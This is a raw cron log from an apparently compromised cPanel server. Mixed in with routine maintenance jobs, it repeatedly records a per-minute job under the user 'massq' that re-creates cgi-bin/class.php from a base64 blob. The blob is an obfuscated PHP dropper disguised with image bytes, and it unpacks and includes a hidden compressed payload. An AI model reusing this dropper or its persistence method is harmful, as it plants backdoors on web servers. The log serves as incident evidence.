Sep 11 07:08:01 server CROND[25993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:08:01 server CROND[25994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:09:01 server CROND[26470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:09:01 server CROND[26471]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 07:09:01 server CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:09:01 server CROND[26473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:10:01 server CROND[26868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:10:01 server CROND[26869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:10:01 server CROND[26870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:10:01 server CROND[26879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:10:01 server CROND[26889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:10:01 server CROND[26890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:10:01 server CROND[26893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:10:01 server CROND[26892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:11:01 server CROND[27719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:11:01 server CROND[27720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:11:01 server CROND[27721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:12:01 server CROND[28098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:12:01 server CROND[28097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:12:01 server CROND[28099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:12:01 server CROND[28100]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:13:01 server CROND[28515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:13:01 server CROND[28516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:13:01 server CROND[28518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:14:01 server CROND[29005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:14:01 server CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:14:01 server CROND[29007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:15:01 server CROND[29401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:15:01 server CROND[29402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:15:01 server CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:15:01 server CROND[29408]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:15:01 server CROND[29407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:15:01 server CROND[29411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:15:01 server CROND[29410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:15:01 server CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 07:16:01 server CROND[30266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:16:01 server CROND[30267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:16:01 server CROND[30268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:17:01 server CROND[30649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:17:01 server CROND[30650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:17:01 server CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:18:01 server CROND[31042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:18:01 server CROND[31043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:18:01 server CROND[31045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:19:01 server CROND[31544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:19:01 server CROND[31546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:19:01 server CROND[31545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:20:01 server CROND[31946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:20:01 server CROND[31949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:20:01 server CROND[31948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:20:01 server CROND[31956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
